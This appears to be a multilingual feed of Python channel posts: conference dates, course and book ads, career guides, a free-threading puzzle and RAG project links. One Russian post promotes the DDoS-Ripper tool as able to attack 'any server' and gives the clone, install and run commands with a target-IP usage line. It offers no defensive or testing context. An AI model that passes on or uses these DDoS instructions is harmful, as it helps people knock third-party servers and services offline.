Python — May 2026

📍 Local e data confirmados para a Python Nordeste 2026!

Já pode marcar na agenda: a Python Nordeste 2026 acontecerá nos dias 13, 14 e 15 de agosto, no Centro Universitário Estácio do Ceará | Via Corpvs.

🗓️ E atenção: nesta edição, o evento começa na quinta-feira, diferente do formato mais comum que inicia na sexta. Serão três dias de muito conteúdo, troca de experiências, networking e comunidade, de quinta (13/08) a sábado (15/08).

📌 Local: Centro Universitário Estácio do Ceará | Via Corpvs 📅 Data: 13, 14 e 15 de agosto de 2026 (quinta a sábado) 📍 Cidade: Fortaleza

Nos vemos na Python Nordeste 2026! 🐍💙💛

🚀 Подборка полезных IT каналов в Max

Системное администрирование, DevOps 📌

https://max.ru/i_odmin Все для системного администратора https://max.ru/bash_srv Bash Советы https://max.ru/sysadminof Книги для админов, полезные материалы https://max.ru/i_odmin_book Библиотека Системного Администратора https://max.ru/i_devops DevOps: Пишем о Docker, Kubernetes и др. https://max.ru/tipsysdmin Типичный Сисадмин

Excel лайфхак 📌 https://t.me/Excel_lifehack Excel лайфхак

1C разработка 📌 https://max.ru/odin1c_rus Cтатьи, курсы, советы, шаблоны кода 1С

Программирование C++📌 https://max.ru/cpp_lib Библиотека C/C++ разработчика

Программирование Go📌 https://max.ru/golang_lib Библиотека Go (Golang) разработчика

Программирование React📌 https://max.ru/react_lib React

Программирование Python 📌 https://max.ru/python_of Python академия. https://max.ru/BookPython Библиотека Python разработчика

Java разработка 📌 https://max.ru/bookjava Библиотека Java разработчика

GitHub Сообщество 📌 https://max.ru/githublib Интересное из GitHub

Базы данных (Data Base) 📌 https://max.ru/database_info Все про базы данных

Фронтенд разработка 📌 https://max.ru/frontend_1 Подборки для frontend разработчиков

Библиотеки 📌 https://max.ru/programmist_of Книги по программированию https://max.ru/proglb Библиотека программиста https://max.ru/bfbook Книги для программистов

Программирование 📌 https://max.ru/bookflow Лекции, видеоуроки, доклады с IT конференций https://max.ru/itmozg Программисты, дизайнеры, новости из мира IT https://max.ru/php_lib Библиотека PHP программиста 👨🏼‍💻👩‍💻

Шутки программистов 📌 https://max.ru/itumor Шутки программистов

Защита, взлом, безопасность 📌 https://max.ru/thehaking Канал о кибербезопасности https://max.ru/xakkep_1 Хакер Free

Книги, статьи для дизайнеров 📌 https://max.ru/odesigners Статьи, книги для дизайнеров

Математика 📌 https://max.ru/Pomatematike Канал по математике https://max.ru/phismat_1 Обучающие видео, книги по Физике и Математике

Вакансии 📌 https://max.ru/progjob Вакансии в IT

Мир технологий 📌 https://max.ru/mir_teh Канал для любознательных

Бонус 📌 https://max.ru/piterspb_78 Свежие новости Санкт-Петербурга https://max.ru/mockva_life Свежие новости Москвы https://max.ru/piterspb Питер Новости: Санкт-Петербург / СПБ / ДТП

✅ Data Science Interview Prep Guide 📊🧠

Whether you're a fresher or career-switcher, here’s how to prep step-by-step:

1️⃣ Understand the Role Data scientists solve problems using data. Core responsibilities: • Data cleaning & analysis • Building predictive models • Communicating insights • Working with business/product teams

2️⃣ Core Skills Needed ✔️ Python (NumPy, Pandas, Matplotlib, Scikit-learn) ✔️ SQL ✔️ Statistics & probability ✔️ Machine Learning basics ✔️ Data storytelling & visualization (Power BI / Tableau / Seaborn)

3️⃣ Key Interview Areas

A. Python & Coding • Write code to clean and analyze data • Solve logic problems (e.g., reverse a list, group data by key) • List vs Dict vs DataFrame usage

B. Statistics & Probability • Hypothesis testing • p-values, confidence intervals • Normal distribution, sampling

C. Machine Learning Concepts • Supervised vs unsupervised learning • Overfitting, regularization, cross-validation • Algorithms: Linear Regression, Decision Trees, KNN, SVM

D. SQL • Joins, GROUP BY, subqueries • Window functions • Data aggregation and filtering

E. Business & Communication • Explain model results to non-tech stakeholders • What metrics would you track for [business case]? • Tell me about a time you used data to influence a decision

4️⃣ Build Your Portfolio ✅ Do projects like: • E-commerce sales analysis • Customer churn prediction • Movie recommendation system ✅ Host on GitHub or Kaggle ✅ Add visual dashboards and insights

5️⃣ Practice Platforms • LeetCode (SQL, Python) • HackerRank • StrataScratch (SQL case studies) • Kaggle (competitions & notebooks)

💬 Tap ❤️ for more!

🖥 Python в 2026 - уже не просто «первый язык программирования».

Это инструмент, с которым можно автоматизировать задачи, писать скрипты, собирать проекты, работать с данными, делать ботов и использовать ИИ как ускоритель разработки.

Но есть проблема: большинство новичков учат Python кусками. Немного синтаксиса, пару задачек, немного теории - и потом ступор: «а что с этим делать дальше?»

Этот курс сделан иначе. Здесь упор на реальную практику: вы не просто смотрите уроки, а постепенно учитесь писать код, разбирать ошибки, собирать рабочие решения и понимать, как Python применяется в нормальных задачах.

Что внутри:

- Python с нуля понятным языком - практика вместо бесконечной сухой теории - реальные задачи и проекты - автоматизация рутины - работа с файлами, данными и API - понятная логика программирования - современный подход к разработке с ИИ - отдельный акцент на вайбкодинг

Вайбкодинг -это умение правильно ставить задачу, проверять код, понимать результат и ускорять работу без слепого копирования. В 2026 году это уже не бонус, а нормальный навык разработчика.

Сегодня скидка 60 процентов: https://stepik.org/course/288218/info

✅ Запускаем DDoS атаку в терминале

DDoS-Ripper – инструмент, с помощью которого можно запустить DDoS-атаку на любой сервер. Также скрипт имеет гибкие настройки.

Установка в Termux: # pkg install python3 -y # git clone https://github.com/palahsu/DDoS-Ripper.git # cd DDoS-Ripper # python3 DRipper.py

Установка на Linux: # git clone https://github.com/palahsu/DDoS-Ripper.git # cd DDoS-Ripper # python3 DRipper.py

Использование: # python3 DRipper.py -s [ip-адрес] -t 135

Объектно-ориентированный Python 4-е издание

Автор: Стивен Лотт Год издания: 2024

#python #ru

Скачать книгу

Алгоритмы. С примерами на Python

Автор: Джордж Хайнеман Год издания: 2023

#python #ru

Скачать книгу

🐍 Python Roadmap 2026: наконец-то полноценная актуальная карта изучения Python, а не список ссылок «разберись сам»

На GitHub выложили большой русскоязычный роадмап по Python на 2026 год - от первых скриптов до уровня Middle+/Senior.

Маршрут собран под современный Python:

- Python 3.13+ - free-threaded mode без GIL - JIT - uv вместо боли с pip/venv/poetry - ruff, pyright, pytest, hypothesis - async-first подход - типизация - CPython внутри - web, базы, ML/AI, DevOps и архитектура

В роадмапе есть нормальная последовательность: сначала окружение и база, потом идиомы, ООП, типы, стандартная библиотека, асинхронность, тестирование, внутренности CPython, web, базы данных, AI-направление, продакшн и архитектура.

Отдельный плюс - практический формат. На каждом этапе есть задачи, чеклисты, примеры кода и бесплатные ресурсы. То есть это не мотивационная простыня, а маршрут, по которому реально можно идти несколько месяцев и видеть прогресс.

Для новичков - понятный путь без хаоса. Для джунов - способ закрыть дыры. Для тех, кто уже пишет на Python - хороший чеклист, чтобы понять, где ты всё ещё плаваешь.

Python в 2026 году - это tooling, типы, async, инфраструктура, AI и продакшн-дисциплина. И этот роадмап как раз про такой Python.

https://github.com/justxor/pythonroamap2026

Создание веб-API Python с помощью FastAPI

Автор: А. А. Адешина Год издания: 2022

#python #ru

Скачать книгу

PEP 810: Explicit lazy imports На обсуждение вышел новый PEP, который предлагает добавить в Python 3.15 новый вид импортов. https://peps.python.org/pep-0810/ lazy import json lazy from json import dumps Как будет работать? Импорты не будут подгружаться…

Top Coding Domains You Should Explore in 2026 ✅

• Backend Development Build server-side systems Handle logic, databases, APIs

Core skills Languages: Java, Python, Node.js Databases: MySQL, PostgreSQL, MongoDB APIs: REST, GraphQL Auth, caching, scalability Who fits: Strong logic, system thinking, long-term products

• Frontend Development Build user interfaces Focus on user experience

Core skills HTML, CSS, JavaScript React, Angular, Vue State management, browser performance Who fits: Visual thinkers, UI focus, fast feedback lovers

• Mobile App Development Build Android and iOS apps

Core skills Android: Kotlin, Java iOS: Swift Flutter, React Native App lifecycle Who fits: Mobile-first mindset, product builders, app store focus

• Data Analytics Turn data into insights

Core skills SQL, Excel Python Power BI, Tableau Who fits: Business thinkers, numbers-driven minds, decision support roles

• Data Science and ML Build predictive systems

Core skills Python Statistics Machine learning Pandas, NumPy, scikit-learn Who fits: Math interest, research mindset, model builders

• DevOps and Cloud Deploy and scale systems

Core skills Linux AWS, Azure, GCP Docker, Kubernetes CI/CD Who fits: Automation lovers, system reliability focus, high-pressure roles

• Cybersecurity Protect systems and data

Core skills Networking Linux Security tools Risk analysis Who fits: Detail-oriented, defensive mindset, compliance roles

• Game Development Build interactive games

Core skills C++, C# Unity, Unreal Physics basics, game logic Who fits: Creative coders, graphics interest, real-time systems

Best career advice • Pick one domain • Build real projects • Learn tools used in jobs • Switch later if needed

Which domain are you targeting next?

Development 👍 Data ❤️ DevOps/ Cybersecurity 🙏 Still exploring 😮

Бесплатная программа «Инженер данных с нуля»

Понедельник может быть не только грустным, но и вполне себе вдохновляющим. Под прошлой программой обучения меня попросили освежить программу на инженера данных. Я согласился, поэтому получите — распишитесь.

Справка Инженер данных (Data Engineer) — это специалист, который строит и поддерживает инфраструктуру для работы с данными. Он делает так, чтобы данные из разных источников собирались, очищались, хранились и были доступны аналитикам, дата-сайентистам, BI-командам и продуктовым командам.

Этап 1. Знакомство Мы ничего не знаем о профессии, поэтому смотрим вводные ролики на YouTube: Кто такой Дата-инженер, Data Engineer ≠ программист | Кто такой Дата инженер и Как выглядит рабочий день Дата Инженера. Если плохо воспринимаете видео, прочитайте статью Кто такие инженеры по данным и почему они зарабатывают больше других аналитиков.

Этап 2. Изучение основного стека Если понимаем, что профессия нам заходит, смотрим бесплатные видеокурсы: Python Pro — Fast Course, Базовый Python с нуля, Инженер данных открытый курс и Data Engineer - как построить надежное хранилище для бизнеса.

Этап 3. Изучение сопутствующих технологий Мы прошли три курса, но на работу пока не возьмут. Чтобы взяли, нам следует вернуться на YouTube и углубиться в сопутствующие технологии: Git: курс, SQL, ClickHouse и AirFlow.

*Помимо приведённых ссылок попробуйте самостоятельно найти информацию по данным технологиям и изучить их более тщательно.

Чтение и общение Чтобы постоянно расширять кругозор, смотрим и читаем каналы Алексей Богатырев | Data Engineer и дата инженеретта. Если возникают вопросы, то задаем их в чате Data Engineers.

Суммируем Программы хватит на 8-10 месяцев обучения. Если вы прошли весь список, можете искать первую работу и готовиться к собеседованиям по этой статье и этому видео.

Желаю успехов! 🚀

P.S. Если хотите больше бесплатных программ, жду ваших реакций. Не скупитесь, господа, я хорошо для вас поработал)

🟢 باتوجه به عدم دسترسی به اینترنت بین‌الملل و دسترسی به محتوا کانال، به طور موقت تا زمان وصل شدن اینترنت بین‌المللی فعالیت در کانال زیر انجام خواهد شد. 👇👇

🔗 https://ble.ir/Pythoni_Developers 🔗 https://ble.ir/Pythoni_Developers

‼️ مابقی آیدی‌ها مشابه ما، فیک هستند.

🟢 باتوجه به عدم دسترسی به اینترنت بین‌الملل و دسترسی به محتوا کانال، به طور موقت تا زمان وصل شدن اینترنت بین‌المللی فعالیت در کانال زیر انجام خواهد شد. 👇👇

🔗 https://ble.ir/Pythoni_Developers 🔗 https://ble.ir/Pythoni_Developers

‼️ مابقی آیدی‌ها مشابه ما، فیک هستند.

🟢 باتوجه به عدم دسترسی به اینترنت بین‌الملل و دسترسی به محتوا کانال، به طور موقت تا زمان وصل شدن اینترنت بین‌المللی فعالیت در کانال زیر انجام خواهد شد. 👇👇

🔗 https://ble.ir/Pythoni_Developers 🔗 https://ble.ir/Pythoni_Developers

‼️ مابقی آیدی‌ها مشابه ما، فیک هستند.

🟢 باتوجه به عدم دسترسی به اینترنت بین‌الملل و دسترسی به محتوا کانال، به طور موقت تا زمان وصل شدن اینترنت بین‌المللی فعالیت در کانال زیر انجام خواهد شد. 👇👇

🔗 https://ble.ir/Pythoni_Developers 🔗 https://ble.ir/Pythoni_Developers

‼️ مابقی آیدی‌ها مشابه ما، فیک هستند.

🟢 باتوجه به عدم دسترسی به اینترنت بین‌الملل و دسترسی به محتوا کانال، به طور موقت تا زمان وصل شدن اینترنت بین‌المللی فعالیت در کانال زیر انجام خواهد شد. 👇👇

🔗 https://ble.ir/Pythoni_Developers 🔗 https://ble.ir/Pythoni_Developers

‼️ مابقی آیدی‌ها مشابه ما، فیک هستند.

🚨AS SUBMISSÕES PARA A PYTHON BRASIL 2026 VÃO ATÉ DIA 24 DE MAIO, DOMINGO🚨 Este ano o evento ocorrerá em 📌Florianópolis - SC, de 📅 14 a 19 de outubro. Você pode submeter palestras, sprints e tutoriais e garantir seu lugar nos palcos do maior evento de Python da América Latina! A Python Brasil é muito diversa em público, portanto considere que independente de tema e nível, sua atividade encontrará muitas pessoas interessadas ❤️ Traga o seu conhecimento para fazer a PyBR2026 ainda melhor! https://talks.python.org.br/pybr26/cfp

Free-Threading и итераторы: что могло пойти так?

Недавно в питоне появилась новая фича (которую я вам пока не покажу), а я решил сделать новый формат – вопрос-загадку.

Мы все знаем, что Free-Threading работает совсем по-другому, вместо одного глобального GIL, у нас множество критических секций per-object и атомарных операций.

Тут обычный питоновский код на тредах. Создаем 10 тредов и идем по итератору, складываем его объекты в одну общую сумму с локом. В итоге должно получиться значение равное sum(range(limit)). Получится ли?

import threading import time from test.support import threading_helper

limit = 10_000 workers_count = 10 result = 0 result_lock = threading.Lock() start = threading.Event()

def producer(limit): for x in range(limit): yield x

def consumer(iterator): global result start.wait() total = 0 for x in iterator: total += x with result_lock: result += total

iterator = producer(limit) # 🤔 workers = [ threading.Thread(target=consumer, args=(iterator,)) for _ in range(workers_count) ] with threading_helper.wait_threads_exit(): for worker in workers: worker.start() for worker in workers: # Wait for the worker thread to actually start. while worker.ident is None: time.sleep(0.1) start.set() for worker in workers: worker.join()

Перед запуском подумайте сначала сами: - Что вообще может произойти? - Как поправить текущую ситуацию в теории? - Как можно поменять код сейчас без каких-либо новых фичей, чтоб заработало? - Что было бы идеально увидеть в качестве решения из коробки? - Где бы вы хотели увидеть такое решение в модулях питона?

Ответ и ссылки будут вечером. В комментах - обсуждаем!

| Поддержать | YouTube | GitHub | Чат |

Привет, меня зовут Кямиль 👋

Я Python Backend / Fullstack разработчик. Опыт — 2.5+ года коммерческой разработки.

Мой подход — чиню, стабилизирую и довожу до рабочего продакшена. Production mindset с первого дня. _

С чем могу помочь:

— Telegram-боты, backend, API и интеграции — Починка и доработка существующих проектов — Highload и оптимизация легаси-кода — MVP и внутренние B2B-системы — Настройка серверов, Docker, CI/CD — Парсинг, автоматизация и backend-логика

Стек: Python, FastAPI, Django, PostgreSQL, React, Docker, Linux. _

Ключевые кейсы: — highload-проекты для крупного ритейла (включая X5): снижение задержек на 80–85% — backend MVP стартапа, который попал в топ-10 РФ — production backend, API, очереди, интеграции и support legacy-систем _

✉️ Если у вас уже есть проект, бот или сервис — могу подключиться, разобраться и довести до результата.

Telegram: @foreach_dump

If I were starting AI again in 2026, I would focus on RAG first

Today companies are hiring engineers who can build complete AI systems.

If you really want your AI portfolio to stand out, stop building basic chatbots and start building RAG applications.

Because Retrieval-Augmented Generation (RAG) is becoming the backbone of: → Enterprise AI systems → AI copilots → Research assistants → AI agents → Knowledge management platforms → Internal company GPTs

Here are 10 powerful RAG projects that can seriously level up your portfolio:

1. Document Analysis with LLMs → Extract text directly from PDFs using Python → Build summarization and question-answering workflows → Learn preprocessing, chunking, and structured extraction → https://medium.com/data-science/document-parsing-using-large-language-models-with-code-9229fda09cdf

2. Build Your First RAG System → Learn embeddings, chunking, and vector retrieval from scratch → Understand how retrieval improves LLM responses → Great starting point before using frameworks → https://youtu.be/sVcwVQRHIc8?si=ffFqjzExydP7CfNh

3. IBM Guided RAG Project → Follow production-style RAG architecture patterns → Learn LangChain workflows with enterprise practices → Covers retrieval pipelines and response grounding → https://www.coursera.org/learn/project-generative-ai-applications-with-rag-and-langchain

4. GraphRAG Pipeline → Connect retrieval with knowledge graphs → Improve contextual understanding across related entities → Useful for research, healthcare, and enterprise search → https://amanxai.com/2026/01/27/build-a-graphrag-pipeline-for-smart-retrieval/

5. Multi-Document RAG → Query multiple files in a single workflow → Build shared retrieval across reports, docs, and PDFs → Learn indexing and ranking strategies → https://amanxai.com/2026/01/06/building-a-multi-document-rag-system/

6. Agentic RAG Pipeline → Combine retrieval with autonomous AI agents → Add tool calling and decision-making workflows → Learn how modern AI agents plan and retrieve context → https://amanxai.com/2025/12/30/building-an-agentic-rag-pipeline/

7. Real-Time AI Assistant → Build live retrieval systems with LangChain → Connect APIs, live data, and vector databases → Learn streaming responses and dynamic retrieval → https://amanxai.com/2025/11/18/build-a-real-time-ai-assistant-using-rag-langchain/

8. A practical guide to building agents → Automate paper analysis and summarization → Retrieve insights from multiple research papers → Useful for students, analysts, and research teams → https://cdn.openai.com/business-guides-and-resources/a-practical-guide-to-building-agents.pdf

9. Multimodal RAG System → Combine text and image understanding in one pipeline → Learn multimodal retrieval workflows → Useful for healthcare, finance, and document intelligence → https://www.ibm.com/think/tutorials/build-multimodal-rag-langchain-with-docling-granite

10. LangChain RAG Agent → Build production-ready RAG agents with memory → Add tools, retrieval chains, and agent reasoning → https://docs.langchain.com/oss/python/langchain/rag

Most developers stop after learning basics.

The top AI engineers build systems.

And RAG is still one of the fastest ways to prove real AI engineering skills in interviews and projects.

AI industry is moving very fast.

Join Artificial Intelligence https://t.me/Artificial_intelligence_in

Data analitik bo’lish aslida unchalik qiyin emas.

Bu Skandinaviyadagi (Norvegiya, Shvetsiya, Daniya) eng katta media kompaniyasining Data analitikka bergan so’rovi:

- SQL - BI ilova bilan tajriba - Snowflake - Python yoki biror dasturlash tilidan habari bo’lishi

E’tibor bergan bo’lsangiz Python oxirida kelayapti. Ham aynan Python bo’lishi shart emas. Sababi, anchadan beri Pythonda kod yozib tahlil qilish samarador (efficient) emas.

📢 Создание игр - Курс по cозданию игр на Python [8 часов]

В этом курсе вы узнаете, как же написать свою компьютерную игру просто и без заумных слов на Python с помощью библиотеки Pygame.

Бесплатное изучение курса

#Python